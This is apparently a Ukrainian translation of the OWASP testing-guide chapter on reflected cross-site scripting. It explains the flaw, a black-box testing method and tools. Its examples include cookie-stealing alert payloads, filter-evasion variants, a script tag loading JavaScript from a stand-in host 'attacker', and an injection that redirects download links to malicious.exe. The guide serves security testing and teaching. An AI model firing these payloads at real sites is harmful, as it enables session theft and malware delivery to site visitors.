4.1 Testing for Reflected XSS

Суть уразливості:

Відбиті міжсайтові сценарії (XSS) виникають, коли зловмисник впроваджує виконуваний код браузера в один із HTTP-відповідей. Впроваджена атака не зберігається у самому додатку; тобто атака не є постійною і впливає тільки на користувачів, які відкривають зловмисно створене посилання або сторонню веб-сторінку. Рядок атаки включається як частина створених параметрів URI або HTTP, неправильно обробляється програмою та повертається жертві.

Відображені XSS - найчастіший тип XSS-атак, що зустрічаються в дикій природі веб-додатків. Відбиті атаки XSS також відомі як непостійні атаки XSS, і оскільки корисне навантаження атаки доставляється та виконується за допомогою одного запиту та відповіді, вони також називаються XSS першого порядку або типу 1.

Коли веб-додаток вразливий для атак такого типу, він передає неперевірений введення користувача, відправлений через запити, назад клієнту. Звичайний спосіб атаки включає етап розробки, на якому зловмисник створює і перевіряє порушуючий URI, етап соціальної інженерії, на якому він переконує своїх жертв завантажити цей URI у свої браузери, і в кінцевому підсумку виконати порушуючий код, використовуючи браузер жертви.

Зазвичай код зловмисника написаний мовою Javascript, але також використовуються інші мови сценаріїв, наприклад ActionScript і VBScript. Зловмисники зазвичай використовують ці вразливості для встановлення реєстраторів ключів, крадіжки cookie-файлів жертви, крадіжки буфера обміну та зміни вмісту сторінки (наприклад, посилання для скачування).

Однією з основних труднощів у запобіганні вразливості XSS є правильне кодування символів. У деяких випадках веб-сервер або веб-додаток не можуть фільтрувати деякі кодування символів, тому, наприклад, веб-додаток може відфільтровувати «script» , але не може фільтрувати %3cscript%3e, який просто включає інше кодування тегів.

Як протестувати

Тест методом чорної скриньки включатиме як мінімум три етапи: 1. Визначити вхідні вектори. Для кожної веб-сторінки тестувальник повинен визначити всі користувацькі змінні веб-застосунки та способи їх введення. Це включає в себе приховані або неочевидні вхідні дані, такі як параметри HTTP, дані POST, приховані значення полів форми і зумовлені значення радіозв'язку або вибору. Зазвичай для перегляду цих прихованих змінних використовуються HTML-редактори в браузері або веб-проксі.

2. Проаналізуйте кожен вхідний вектор виявлення потенційних вразливостей. Щоб виявити вразливість XSS, тестер зазвичай використовує спеціально створені вхідні дані з кожним вектором. Такі вхідні дані зазвичай нешкідливі, але викликають відгуки від веб-браузера, які виявляють уразливість. Дані тестування можуть бути отримані за допомогою фазера веб-застосунку, автоматично заданого списку відомих рядків атаки або вручну. Привір “>«script»alert(document.cookie)«/script»: Повний список можливих тестових рядків див. у шпаргалці XSS Filter Evasion.

3. Для кожного тестового введення, зробленого на попередньому етапі, тестувальник аналізує результат і визначає, чи він представляє вразливість, що реально впливає на безпеку веб-додатку. Це вимагає вивчення отриманої веб-сторінки HTML та пошуку тестового введення. Після виявлення тестер ідентифікує будь-які спеціальні символи, які були належним чином закодовані, замінені або відфільтровані. Набір вразливих нефільтрованих спеціальних символів залежатиме від контексту цього розділу HTML.

В ідеалі, всі спеціальні символи HTML повинні бути замінені об'єктами HTML. Ключові сутності HTML для ідентифікації:

> (greater than)

< (less than)

& (ampersand)

' (apostrophe or single quote)

" (double quote)

Повний перелік об'єктів визначається специфікаціями HTML та XML. У Вікіпедії є повне посилання

У контексті дії HTML або JavaScript потрібно буде екранувати, закодувати, замінити або відфільтрувати інший набір спеціальних символів. Ці символи включають:

\n (new line)

\r (carriage return)

\' (apostrophe or single quote)

\" (double quote)

\\ (backslash)

\uXXXX (unicode values)

Для отримання більш повної інформації див. Посібник з JavaScript у Mozilla

Приклад 1

Наприклад, розглянемо сайт із вітальним повідомленням «Welcome %username%» та посиланням для скачування. Тестер повинен підозрювати, що кожна точка введення даних може призвести до атаки XSS. Щоб проаналізувати його, тестувальник повинен погратися з зміною користувача і спробує викликати вразливість.

Давайте спробуємо перейти за наступним посиланням і подивитися, що вийде: http://example.com/index.php?user=«script»alert(123)«/script»

Якщо очищення не застосовується, це призведе до наступного спливаючого вікна: Це вказує на наявність уразливості XSS і, мабуть, тестувальник може виконати код на свій вибір у браузері, якщо клацне посилання тестера.

Приклад 2 Давайте спробуємо інший шматок коду (посилання): http://example.com/index.php?user=«script»Ewindow.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }«/script»

Це призводить до наступної поведінки: Це змусить користувача, клацнувши на посилання, наданому тестером, завантажити файл malware.exe з сайту, який він контролює

Обходи у фільтрації

XSS Відбиті атаки міжсайтових сценаріїв запобігаються, оскільки веб-додаток дезінфікує введення, брандмауер веб-додатків блокує шкідливе введення або фіксується за допомогою механізмів, вбудованих у сучасні веб-браузери. Тому тестеру потрібно перевірити вразливості, припускаючи, що веб-браузери не запобігають атакі. Браузер може застаріти або мати відключені вбудовані функції безпеки. Аналогічно, брандмауери веб-застосунків не гарантовано розпізнають нові, невідомі атаки. Зловмисник може створити рядок атаки, який не розпізнається брандмауером веб-програми.

Таким чином, велика частина запобігання XSS повинна залежати від очищення веб-програми від ненадійного введення користувача. Розробникам є кілька механізмів, таких як повернення помилки, видалення, кодування або заміна неправильного введення. Засоби, за допомогою яких програма виявляє та виправляє неправильне введення, є ще одним основним недоліком у запобіганні XSS. У чорний список можуть входити не всі можливі рядки атаки, білий список може бути надмірно вирішальним, очищення може бути невдалим або тип введення може бути невірно довіреним і залишатися неанімованим. Все це дозволяє зловмисникам оминути фільтри XSS.

Приклад 3:

Значення атрибута тега Оскільки ці фільтри ґрунтуються на чорному списку, вони не можуть блокувати всі типи виразів. Фактично, є випадки, коли експлойт XSS може бути виконаний без використання тегів

«input type="text" name="state" value="INPUT_FROM_USER"»

Потім зловмисник може надіслати наступний код:

" onfocus="alert(document.cookie)

Приклад 4:

Інший синтаксис або кодування У деяких випадках можливо, що фільтри, що базуються на сигнатурах, можуть бути просто переможені, приховуючи атаку. Як правило, ви можете зробити це шляхом вставки несподіваних змін у синтаксис або кінець. Ці варіанти допускаються браузерами як дійсний HTML при поверненні коду, і все ж таки вони можуть також бути прийняті фільтром.

Наступні кілька прикладів:

">«script»alert(document.cookie)«/script»

">«ScRiPt»alert(document.cookie)«/ScRiPt»

"%3cscript%3ealert(document.cookie)%3c/script%3e

Приклад 5: Обхід нерекурсивної фільтрації

Іноді санітарна обробка застосовується лише один раз, і вона не виконується рекурсивно. У цьому випадку зловмисник може обійти фільтр, відправивши рядок, що містить кілька спроб, наприклад:

«scr«script»ipt»alert(document.cookie)«/script»

Приклад 6: Увімкнення зовнішнього скрипту

Тепер припустимо, що розробники цільового сайту впровадили наступний код захисту введення від включення зовнішнього скрипта:

«? $re = "/«script[^>]+src/i"; if (preg_match($re, $_GET['var'])) { echo "Filtered"; return; } echo "Welcome ".$_GET['var']." !"; ?>

У цьому сценарії є регулярне вираз, що перевіряє, чи вставлено «script [що-небудь, окрім символа: '>'] src. Це корисно для фільтрації виразів типу

«script src="http://attacker/xss.js">«/script»

яка є звичайною атакою. Але в цьому випадку можна обійти санітарну обробку, використовуючи символ «>» в ​​атрибуті між script та src, наприклад:

http://example/?var=«SCRIPT»"%20SRC="http://attacker/xss.js">«/SCRIPT»

Це дозволить використовувати відображену вразливість міжсайтового скриптингу, показану раніше, при виконанні коду javascript, що зберігається на веб-сервері зловмисника, начебто він виходив з веб-сайту жертви, http://example/.

Приклад 7. Забруднення параметрів

HTTP (HPP) Ще один метод обходу фільтрів – забруднення параметрів HTTP. Цей метод був вперше представлений Стефано ді Паола та Лукой Кареттоні у 2009 році на конференції OWASP у Польщі. Див. Тестування на забруднення параметрів HTTP для отримання додаткової інформації. Ця техніка ухилення полягає у поділі вектора атаки між кількома параметрами з однаковими іменами. Маніпулювання значенням кожного параметра залежить від того, як кожна веб-технологія виконує синтаксичний аналіз цих параметрів, тому такий тип ухилення не завжди можливий. Якщо середовище, що тестується, поєднує значення всіх параметрів з однаковими іменами, то зловмисник може використовувати цей метод для обходу механізмів безпеки на основі шаблонів. Регулярна атака:

http://example/page.php?param=«script»[...]«/script»

Атака з використанням HPP:

http://example/page.php?param=«script&param=»[...]«/&param=script»

Tools

OWASP CAL9000 – це набір інструментів тестування безпеки веб-додатків, які доповнюють набір функцій сучасних веб-проксі та автоматичних сканерів.

PHP Charset Encoder (PCE) - Цей інструмент допоможе вам кодувати довільні тексти із 65 видів кодувань. Також надаються деякі функції кодування, які представлені в JavaScript.

HackVertor - Він забезпечує кілька десятків гнучкого кодування для розширених атак на рядки.

• XSS-Proxy - це передовий інструмент атаки між сайтами (XSS).

• ratproxy - Напівавтоматичний, в основному пасивний інструмент аудиту безпеки веб-додатків, оптимізований для точного та чутливого виявлення та автоматичного анотації потенційних проблем та шаблонів проектування, пов'язаних з безпекою, на основі спостереження за існуючим ініційованим користувачем трафіком у складних середовищах Web 2.

Burp Proxy – це інтерактивний проксі-сервер HTTP/S для атаки та тестування веб-додатків.

OWASP Zed Attack Proxy (ZAP) – це простий у використанні інтегрований інструмент для тестування на проникнення для пошуку вразливостей у веб-додатках. Він призначений для використання людьми з широким спектром досвіду в галузі безпеки і тому ідеально підходить для розробників та функціональних тестерів, які вперше знайомі з тестуванням на проникнення. ZAP надає автоматичні сканери, а також набір інструментів, які дозволяють вручну знаходити вразливості.